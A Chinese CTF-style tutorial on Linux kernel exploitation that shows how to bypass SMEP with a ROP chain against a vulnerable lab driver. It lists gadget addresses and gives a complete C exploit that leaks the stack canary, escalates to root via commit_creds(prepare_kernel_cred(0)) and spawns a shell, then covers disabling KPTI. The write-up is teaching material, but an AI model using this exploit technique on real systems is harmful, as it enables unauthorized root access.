使用的开始上一节中的pwn题
SMEP安全机制:禁止在执行内核空间代码时突然执行用户空间代码。类似 NX。
在没有开启SMEP的情况下,攻击者将rip或者函数指针指向了用户空间,可在用户空间布局shellcode,从而提权。
但是,在开启SMEP后,内核执行用户空间的shellcode,将导致崩溃
char *shellcode = mmap(用户空间特定地址 & 0xfffffffffffff000ul, 0x1000, PROT_READ|PROT_WRITE|PROT_EXECUTE,
MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
memcpy(shellcode, SHELLCODE, sizeof(SHELLCODE));
control_rip(shellcode); // RIP = shellcode
SMEP 是一种硬件安全机制。通过设置 CR4 寄存器的第 21 位启用 SMEP。
可以在qemu运行参数启用SMEP
-cpu kvm64,+smep
在进入内核后,可以通过查看 /proc/cpuinfo
确认是否启用了SMEP
cat /proc/cpuinfo | grep smep
将上一节中的启动脚本修改为如下形式
#!/bin/sh
qemu-system-x86_64 \
-m 1024M \
-cpu kvm64,+smep \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nopti nokaslr quiet panic=1"
ROP(Return-Oriented Programming, 返回导向编程)
通俗理解,就是通过栈溢出的漏洞,覆盖return address,从而达让直行程序反复横跳的一种技术。
参考这篇文章:https://blog.csdn.net/qq_31343581/article/details/119996405
一般来说,理解如下指令(观察栈的变化和rip的变化),就能快速理解rop
在该题目中,通过内核栈溢出,将rop提权指令写入到内核栈中,使得提权代码在内核空间运行,从而绕过smep。
从上一节中我们先覆盖的是canary,然后再覆盖返回地址,进而跳转到提权代码处,提权代码大致流程是
【1】commit_creds(prepare_kernel_cred (0));
【2】swapgs
【3】ss/sp/rflags/cs/rip
【4】iretq
现在需要从内核文件中,找出相关的汇编语句拼接出如上的提权语句
通过 vmlinux-to-elf 将 压缩有的内核文件vmlinuz转换为未压缩的elf格式文件vmlinux_original
vmlinux-to-elf vmlinuz vmlinux_original
通过ropper提取出vmlinux_original中的rop汇编语句
# 安装ropper
pip3 install ropper
ropper --file ./vmlinux_original --nocolor > rop.txt
【1】commit_creds(prepare_kernel_cred (0));
首先需要知道,在x64汇编中
那就可以将【1】commit_creds(prepare_kernel_cred (0));
拆解为
【1-1】将0存储到rdi中
【1-2】调用prepare_kernel_cred,此时prepare_kernel_cred (0)的结果存储在rax中
【1-3】将rax中的内容复制到rdi中
【1-4】调用commit_creds
rop是灵活的,没有固定的公式;只要拼接的rop链合乎语义就行
可以使用
pop rdi ; ret;
0
或者使用
xor rdi, rdi ; ret;
再或者
pop rax ; pop rcx ; pop rdi ;ret
0
0
0
pop rdi ; ret;
0
prepare_kernel_cred的地址
pop rdi ; ret;
0
prepare_kernel_cred的首地址
mov rdi, rax ; ret;
pop rdi ; ret;
0
prepare_kernel_cred的首地址
mov rdi, rax ; ret;
commit_creds的首地址
获取 pop rdi; ret;
root@555bcb073c53:~/kernel-rop# cat rop.txt | grep ": pop rdi; ret;"
0xffffffff81006370: pop rdi; ret;
现在rop为
0xffffffff81006370 #pop rdi; ret;
0
获取commit_creds
的地址
/ # cat /proc/kallsyms | grep "prepare_kernel_cred"
ffffffff814c67f0 T prepare_kernel_cred
现在rop为
0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
获取mov rdi, rax
语句,将commit_creds的结果转换为prepare_kernel_cred的参数
~/kernel-rop# cat rop.txt | grep ": mov rdi, rax; " | grep -v "call" | grep -v "j"
0xffffffff818f8495: mov rdi, rax; mov qword ptr [rdi], 1; pop rbp; ret;
0xffffffff816bf203: mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0xffffffff8100aedf: mov rdi, rax; rep movsq qword ptr [rdi], qword ptr [rsi]; pop rbp; ret;
为了在mov rdi, rax
执行之后,不再影响rdi的值,这里选取0xffffffff816bf203
,又由于0xffffffff816bf203
中存在pop rbp
这个语句,还需要在rop中填充内容,将这个pop
无害化掉
现在rop为
0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0
获取prepare_kernel_cred
的地址
# cat /proc/kallsyms | grep "commit_creds"
ffffffff814c6410 T commit_creds
现在rop为
0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0
0xffffffff814c6410 # commit_creds
【2】swapgs
~/kernel-rop# cat rop.txt | grep ": swapgs"
0xffffffff8100a55f: swapgs; pop rbp; ret;
0xffffffff8100a557: swapgs; rdgsbase rax; swapgs; pop rbp; ret;
0xffffffff8100a590: swapgs; wrgsbase rdi; swapgs; pop rbp; ret;
这里选取0xffffffff8100a55f
,又由于存在pop rbp
这个语句,还需要在rop中填充内容,将这个pop
无害化掉
现在rop为
0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0
0xffffffff814c6410 # commit_creds
0xffffffff8100a55f # swapgs; pop rbp; ret;
0
【3】ss/sp/rflags/cs/rip
和【4】iretq
由于rop本身就是在内核栈中,ss/sp/rflags/cs/rip
可以直接填写在内核栈中
这里需要先将iretq
放入rop中,且ss/sp/rflags/cs/rip
需要紧紧挨着iretq
:
rip/cs/rflags/sp/ss
:~/kernel-rop# cat rop.txt | grep ": iretq"
0xffffffff8229cffc: iretq; add byte ptr [r11], al; call 0x149cd04; xor eax, eax; pop rbp; ret;
0xffffffff819c68b6: iretq; add byte ptr [rax - 0x77], cl; adc ebx, dword ptr [rbx + 0x41]; pop rsp; pop rbp; ret;
0xffffffff814390cf: iretq; add rsp, 0x10; pop rbx; pop r12; pop rbp; ret;
0xffffffff81677f71: iretq; cwde; call qword ptr [rbp + 0x48];
0xffffffff8225e3af: iretq; dec dword ptr [rax + 1]; ret 0xd689;
0xffffffff814381cb: iretq; pop rbp; ret;
0xffffffff815e56c4: iretq; sub eax, 0x89c08500; ret 0x880f;
0xffffffff81bb3cb3: iretq; test bh, bh; pop rbx; pop rbp; ret;
0xffffffff81f76df0: iretq; xchg eax, edi; call qword ptr [rbp - 0x31];
0xffffffff81b838ad: iretq; xlatb; dec dword ptr [rax - 0x68]; pop rbp; ret;
这里选择0xffffffff819c68b6
这条最长的iretq指令作为rop,来验证iretq后面跟什么内容都无所谓
0xffffffff81006370 #pop rdi; ret;
0
0xffffffff814c67f0 # prepare_kernel_cred
0xffffffff816bf203 # mov rdi, rax; mov qword ptr [rsi + 0x140], rdi; pop rbp; ret;
0
0xffffffff814c6410 # commit_creds
0xffffffff8100a55f # swapgs; pop rbp; ret;
0
0xffffffff819c68b6 #iretq; add byte ptr [rax - 0x77], cl; adc ebx, dword ptr [rbx + 0x41]; pop rsp; pop rbp; ret;
user_rip
user_sp
user_rflags
user_sp
user_ss
#include
#include
#include
#include
#include
char *VULN_DRV = "/dev/hackme";
void spawn_shell();
int64_t global_fd = 0;
uint64_t cookie = 0;
uint8_t cookie_off = 16;
uint64_t user_cs, user_ss, user_rflags, user_sp;
uint64_t prepare_kernel_cred = 0xffffffff814c67f0;
uint64_t commit_creds = 0xffffffff814c6410;
uint64_t user_rip = (uint64_t) spawn_shell;
uint64_t pop_rdi_ret = 0xffffffff81006370;
uint64_t mov_rdi_rax_and_pop1_ret = 0xffffffff816bf203;
uint64_t swapgs_pop1_ret = 0xffffffff8100a55f;
uint64_t iretq = 0xffffffff819c68b6;
void open_dev() {
global_fd = open(VULN_DRV, O_RDWR);
if (global_fd < 0) {
printf("[!] failed to open %s\n", VULN_DRV);
exit(-1);
} else {
printf("[+] successfully opened %s\n", VULN_DRV);
}
}
void leak_cookie() {
uint8_t sz = 40;
uint64_t leak[sz];
printf("[*] trying to leak up to %ld bytes memory\n", sizeof(leak));
uint64_t data = read(global_fd, leak, sizeof(leak));
cookie = leak[cookie_off];
printf("[+] found stack canary: 0x%lx @ index %d\n", cookie, cookie_off);
if(!cookie) {
puts("[-] failed to leak stack canary!");
exit(-1);
}
}
void spawn_shell() {
puts("[+] returned to user land");
uid_t uid = getuid();
if (uid == 0) {
printf("[+] got root (uid = %d)\n", uid);
} else {
printf("[!] failed to get root (uid: %d)\n", uid);
exit(-1);
}
puts("[*] spawning shell");
system("/bin/sh");
exit(0);
}
void save_userland_state() {
puts("[*] saving user land state");
__asm__(".intel_syntax noprefix;"
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
".att_syntax");
}
void overwrite_ret() {
puts("[*] trying to overwrite return address with ROP chain");
uint8_t sz = 50;
uint64_t payload[sz];
payload[cookie_off++] = cookie;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = pop_rdi_ret; // return address
payload[cookie_off++] = 0x0;
payload[cookie_off++] = prepare_kernel_cred;
payload[cookie_off++] = mov_rdi_rax_and_pop1_ret;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = commit_creds;
payload[cookie_off++] = swapgs_pop1_ret;
payload[cookie_off++] = 0x0;
payload[cookie_off++] = iretq;
payload[cookie_off++] = user_rip;
payload[cookie_off++] = user_cs;
payload[cookie_off++] = user_rflags;
payload[cookie_off++] = user_sp;
payload[cookie_off++] = user_ss;
uint64_t data = write(global_fd, payload, sizeof(payload));
puts("[-] if you can read this we failed the mission :(");
}
int main(int argc, char **argv) {
open_dev();
leak_cookie();
save_userland_state();
overwrite_ret();
return 0;
}
效果
/ $ ./04_exploit_bypass_smep
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] found stack canary: 0x72ad2e60ba25b400 @ index 16
[*] saving user land state
[*] trying to overwrite return address with ROP chain
[+] returned to user land
[+] got root (uid = 0)
[*] spawning shell
/ #
在该题中,如果启动脚本如下,没有显示禁用KPTI
,运行exp会报错
启动脚本如下
#!/bin/sh
qemu-system-x86_64 \
-m 128M \
-cpu kvm64,+smep,+smap \
-kernel vmlinuz \
-initrd initramfs.cpio.gz \
-hdb flag.txt \
-snapshot \
-nographic \
-monitor /dev/null \
-no-reboot \
-append "console=ttyS0 nokaslr kpti=1 quiet panic=1"
报错如下
/ $ ./04_exploit_bypass_smep
[+] successfully opened /dev/hackme
[*] trying to leak up to 320 bytes memory
[+] found stack canary: 0xb1b7bdeffa2b1200 @ index 16
[*] saving user land state
[*] trying to overwrite return address with ROP chain
Segmentation fault
因为该内核默认编译启用了KPTI,可以通过如下命令查看
/ # cat /sys/devices/system/cpu/vulnerabilities/*
Processor vulnerable
Mitigation: PTE Inversion
Vulnerable: Clear CPU buffers attempted, no microcode; SMT Host state unknown
Mitigation: PTI
Vulnerable
Mitigation: usercopy/swapgs barriers and __user pointer sanitization
Mitigation: Full generic retpoline, STIBP: disabled, RSB filling
Not affected
Not affected
如果查看不了,需要在文件系统的启动脚本中挂载sysfs
在/etc/init.d/rcS
中添加如下内容
mkdir -p /sys && mount -t sysfs sysfs /sys
因此需要将启动脚本中添加nopti
-append "console=ttyS0 nopti nokaslr quiet panic=1"